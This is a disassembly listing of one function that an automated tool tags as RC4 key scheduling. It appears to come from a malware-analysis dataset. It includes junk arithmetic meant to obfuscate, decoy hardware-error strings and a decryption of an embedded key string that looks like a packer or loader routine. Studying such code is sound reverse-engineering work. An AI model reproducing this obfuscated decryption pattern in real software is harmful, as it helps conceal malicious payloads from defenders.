Function at 0x406de0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ecx, 4
mov edx, str.The_hardware_has_reported_an_uncorrectable_memory_error.
mov ebp, esp
push edi
push esi
lea edi, [ebp - 0x165]
mov esi, 0x42bb87
push ebx
sub esp, 0x17c
rep movsd dword es:[edi], dword [esi]
lea edi, [ebp - 0x145]
mov esi, 0x42bb97
mov ecx, 0x2d
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x11bd
movsx eax, byte [edx]
inc edx
test al, al
je 0x406e3b
add ecx, eax
cmp ecx, 0x14e6
jbe 0x406e1a
call fcn.004125f4
sub dword [0x429480], 0x3b2fbcb6
mov eax, dword [0x429480]
xor eax, 0x96483807
mov dword [0x429480], eax
and eax, 0x44946312
mov dword [0x4293d0], eax
xor eax, eax
mov byte [ebp + eax - 0x118], al
inc eax
cmp eax, 0x100
jne 0x406e56
xor esi, esi
xor ebx, ebx
mov eax, ebx
mov edi, 0x2c
xor edx, edx
mov cl, byte [ebp + ebx - 0x118]
div edi
mov byte [ebp - 0x16c], cl
movzx eax, byte [ebp + edx - 0x145]
movzx edx, cl
add eax, edx
add eax, esi
movzx esi, al
call fcn.00411180
mov eax, dword [0x4293d0]
and eax, 0x58bb6231
mov dword [0x429480], eax
call fcn.0041472c
mov eax, dword [0x4293d0]
mov edx, eax
or eax, 0xcbffe9fb
or edx, 0x4affc9fb
mov dword [0x4293d0], eax
mov dword [0x429480], edx
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov al, byte [ebp + esi - 0x118]
mov cl, byte [ebp - 0x16c]
mov byte [ebp + ebx - 0x118], al
inc ebx
mov byte [ebp + esi - 0x118], cl
cmp ebx, 0x100
jne 0x406e69
xor edx, edx
xor edi, edi
xor esi, esi
lea eax, [esi + 1]
xor ecx, ecx
movzx esi, al
mov bl, byte [ebp + esi - 0x118]
lea eax, [ebx + edi]
movzx edi, al
cmp byte [ecx + str.The_hardware_has_reported_an_uncorrectable_memory_error.], 0
je 0x406f35
inc ecx
cmp ecx, 0x1676
jne 0x406f12
mov eax, dword [0x4293d0]
sub eax, 0x66b0d37b
mov dword [0x429480], eax
jmp 0x406f47
mov eax, dword [0x429480]
xor eax, 0x70994c0
cmp ecx, 0xe92
jle 0x406f51
mov eax, dword [0x4293d0]
xor eax, 0x39fe8e4a
mov dword [ebp - 0x16c], edx
or dword [0x429480], 0x9a2eb3df
mov dword [0x4293d0], eax
call fcn.00414d98
mov edx, dword [ebp - 0x16c]
mov ecx, str.The_request_failed_due_to_a_fatal_device_hardware_error.
mov al, byte [ecx]
sub eax, 0x30
cmp al, 9
ja 0x406f82
inc ecx
jmp 0x406f76
mov al, byte [ebp + edi - 0x118]
mov dword [ebp - 0x16c], edx
mov byte [ebp + esi - 0x118], al
mov eax, dword [0x429480]
mov byte [ebp + edi - 0x118], bl
and eax, 0x30cf0f50
or eax, 0x333b4771
mov dword [0x4293d0], eax
sub eax, 0xfecfc87
mov dword [0x429480], eax
call fcn.0040ecec
mov edx, dword [ebp - 0x16c]
add bl, byte [ebp + esi - 0x118]
lea eax, [ebp - 0x155]
movzx ebx, bl
mov cl, byte [ebp + ebx - 0x118]
xor cl, byte [ebp + edx - 0x165]
mov byte [ebp + edx - 0x155], cl
inc edx
cmp edx, 0x10
jne 0x406efd
mov edx, dword [0x4293d0]
mov dword [esp + 0xc], 0x10
mov dword [esp + 8], eax
lea ecx, [edx + 0x63a189cf]
mov dword [esp + 4], 0x114c
sub edx, 0x718aedcf
mov dword [esp], str.cKFlV9_19qTeoshTYAYE3jVI3m9GRnzqYUXKXCjMpMIQrXNO80evmBt3FmLfV9XRO15C4cf1ijIjjQSqaFO1_DVNJZltxuWqvirKc7jIzkELl7PpFlk09uPsyEtDxesoFeMYCLwQr4aiYoNIAwO_5EG3kCyT54sp67iIdmS6hT3yA0JCMt2hrTHSxxXqfFySJ1CnOtVjPzI5RpbbivHeLGr7Hr889PmOV76TSTwtYrQ8Yc9zhufd94MCKe5gmq7t2px5ItXef3e2dfGWfvP7LL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UvKtZAu0kzPZq50l3MDsaBS_RDgOOlqSw7cPzbACPHEIXhfTX1W5I2DWrGP4DJ323OAgjXBCQh18SOKZ1DEPD3xjJjRq04nRxIRPh9fPdcWwmDhCNxz_BewDVOPM7HHQiX4mIiSNgBMbfPCkAMRoTde9cLRFgiENh1vjjZkJOLycsOFA3u4rx9Ybxqlg3zZs7oHUgHnvTxuV60p5FxXdLLtBllGp9kSYW1NwNtz6prlrGrNQf4ELw0SMvNYG1FgKO7TiKMoMSB8reni0NqE7f3GT_oaYrCqWpIIU0ZuYjazxgT4iWZvpRKiXKeUvfbmCvpCALq1MNPh3qkUCDAU3qa6tCXbCwSoYAcp9nQ2Ixf8OP2W3EEMlrAY9sEg06RSP0dmUpqrOhrm7vjr5qiwGKfkTAw2QJLJ2g2kzVTNFCPsm2e6WCNEnKsDDjphQmGBpglOosJn4YsLVMatGOu7cZz3qnSoFOrqPRvTzbZnLV6vKkXv2grBvU4XfCSaSb
and edx, 0xe77ce25b
or edx, 0x262ce043
mov byte [ebp - 0x145], 0
mov dword [0x4293d0], ecx
mov dword [0x429480], edx
call fcn.0040b3c4
add esp, 0x17c
pop ebx
pop esi
pop edi
pop ebp
ret